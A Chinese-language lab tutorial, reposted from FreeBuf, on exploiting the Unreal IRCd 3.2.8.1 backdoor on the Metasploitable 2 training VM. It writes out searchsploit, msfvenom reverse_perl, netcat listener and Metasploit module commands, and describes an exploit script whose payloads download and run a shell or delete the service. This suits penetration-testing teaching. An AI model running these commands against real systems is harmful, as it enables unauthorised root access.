这篇文章中,将会介绍如何利用 Metasploitable 2 上 Unreal IRCd service 存在的漏洞;学习如何对网络服务进行枚举,及如何定义和检索关键信息;分析和使用 msfvenom 来生成 payload 。为了获取更多关于 Unreal IRCd 的信息,我们还将使用 hexchat IRC 客户端,连接进入到 IRC 频道。
例如:有时我们使用 Nmap 无法获取到具体的版本号时,我们仍可以继续通过当前处理的信息,进行近一步的漏洞评估和发现。在这篇文章中,我们同样将通过,手动结合 metasploit 的方式进行漏洞的利用!
在之前枚举的那篇文章中,我们已经利用 Nmap 获取到了以下信息:
可以看到,有两个关于 Unreal IRCd 的开放端口,分别为 6667 和 6697 。
现在让我们通过 hexchat IRC 客户端,连接到 IRCd service 。如果你没有安装客户端,可以使用以下命令进行安装:
apt update && apt install -y hexchat
我们点击 add 按钮添加一个 network ,并命名为 Metasploitable 2。
接着我们点击 Edit 按钮,输入 Metasploitable 2 的 IP 地址,并使用 6667 端口。
关闭窗口并点击连接按钮,连接到 Metasploitable 2 的 IRC 服务。当一切信息都正确时,我们就能成功连接到 Unreal IRC service :
当我们进入了 IRC 频道,可以看到大量的信息显示给我们!如:主机名,配置信息和一些我们迫切想知道的:可以看到 Unreal IRC service 的版本为 Unreal 3.2.8.1 。我们可以利用该信息,来评估该版本是否为存在漏洞的版本及漏洞的利用。下面我们把获取的信息放到 searchsploit 和 exploit-db 里进行查询评估,看看这个版本的 Unreal IRC 是否存在可被利用的漏洞。
我们在 kali 上使用如下命令:
searchsploit unreal ircd 3.2.8.1
我们可以看到,该版本的 Unreal IRCd 有 3 个可利用漏洞:
1.远程下载和执行 Perl 脚本木马。
2.后门漏洞可在 Metasploit 上利用的 Ruby exploit 。
3.本地溢出可造成DOS拒绝服务的 exploit ,但它只适用于 windows ,因此不适用我们的目标 Metasploitable 2 。
同样,我们使用相同的关键字 Unreal IRCD 3.2.8.1 来进行搜索,我们发现搜索的结果是相同的:
在本章教程中,我们将使用 Perl 脚本和 Metasploit 模块进行利用。让我们先从 Perl 脚本入手。
在接下来,我们将使用从 searchsploit 和 Exploit-db获取的 exploit ,来对 Unreal IRCd service 进行利用。
在我们使用脚本进行漏洞利用之前,我们先对该脚本做个简单的分析。我们从包含有不同 payloads 的脚本第一部分开始。使用以下命令查看脚本内容:
cat /usr/share/exploitdb/platforms/linux/remote/13853.pl
Payload 1:使用 wget 下载和绑定一个 shell,并保存文件为 bindshell,赋予其执行权限,并进行执行。由于我们看不到下载的 bindshell 文件,因此我们可以猜测,这个文件的 shell 被绑定在了目标机器上。
Payload 2:下载一个名为 bot 的文件,我们只能猜测它的选项到底是什么。
Payload 3:下载一个文件,并保存为 rshell 。设置正确的权限,并执行文件。我们只能猜测,下载的有效载荷是一个反向的 shell 。
Payload 4:停止 Unreal IRCD 服务。
Payload 5:从服务器上删除 Unreal IRCD 服务。让我们继续进行下一个代码块的分析,它是进行参数的检索及验证的,并打印其使用的相关信息在控制台上。
头 3 行设置了三个初始化为空的变量,分别为 host, port 和 type ,接着它们被分别赋予了变量值。下面开始判断这 3 个变量是否为空值,如果为空则执行 usage 函数。这将会退出脚本的执行,因为最后一行代码为 exit(1),即程序发生错误则退出执行。在使用说明中,我们可以看到,有 5 种不同的类型的 payload 可以用来利用这个漏洞。并且分别做了相应的号码排序。当我们仔细查看以上脚本内容,我们可以发现,类型 2 的 payload 和类型 3 的 payload 进行了切换。
在这个代码块中对应的 payload 分别进行执行,类型 1 执行 payload 1, 类型 2 执行 payload 2 等。
既然我们无法控制下载的文件,也不知道文件的内容,那么我们就无法对该文件进行控制和操作。下面我将修改 payload 以取得有效控制,步骤如下:
1. 使用 msfvenom 生成一个 reverse shell payload。
2. 修改 exploit 代码。
3. 使用 Netcat 获取一个 reverse shell。
当前的 Perl 脚本的一个主要缺点是,它依赖于成功的利用及执行 wget 命令才能成功下载。因此,如果 wget 命令不在目标主机上,则会利用失败。下面我将使用 msfvenom 生成一个 Perl 脚本的 payload 摆脱这种依赖和不可控性。命令如下:
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.100.108 LPORT=4444 -f raw
下面我们进行一个测试,将生成的 payload 移动到 Apache 站点目录下并执行:
我们使用 Netcat 进行侦听:
可以看到,成功取得了 receive shell 。
经过实验我们得知,我们生成的 paylaod 可以正常工作。下面我们将之前 Perl exploit 脚本拷贝至桌面,命令如下:
cp /usr/share/exploitdb/platforms/linux/remote/13853.pl /root/Desktop/13853.pl
我们用编辑器打开该 Perl 脚本,将 payload 1 修改成如下:
注意:在单引号位置,必须加上反斜杠进行转义!
一切准备就绪,现在我们就可以在 Metasploitable 2 上执行 exploit 了。在正式执行之前,让我们使用 Netcat 启动一个侦听。命令如下:
nc -lvp 4444
执行 exploit:
perl 13853.pl [target IP][port]1
很快我们就在 Netcat 下获取了一个 reverse shell :
我们使用 id 命令,可以看到我们取得是 root 权限!
下面我们来使用 Metasploit 来进行 Unreal IRCD backdoor 的利用。我们启动 msfconsole ,并搜索 Unreal IRCD 相关利用模块:
search Unreal IRCD
使用选中模块:
use exploit/unix/irc/unreal_ircd_3281_backdoor
查看可用 payloads 并选择使用合适 payload:
show payloads
set payload cmd
reverse_perl
查看并配置相关选项:
show options
set rhost [target ip]
set lhost [attackbox ip]
执行 exploit :
run
可以看到我们成功利用了该后门漏洞,并获取到了一个 root 权限的 shell 。
1. 在渗透测试中,关于服务信息的枚举收集是非常重要的。
2. 在利用代码前一定要学会分析代码。
3. 永远不要相信你无法验证的 payloads,必要时应更换 payloads 。
*参考来源:hacking tutorials,Secist 编译,转载请注明来自FreeBuf(FreeBuf.COM)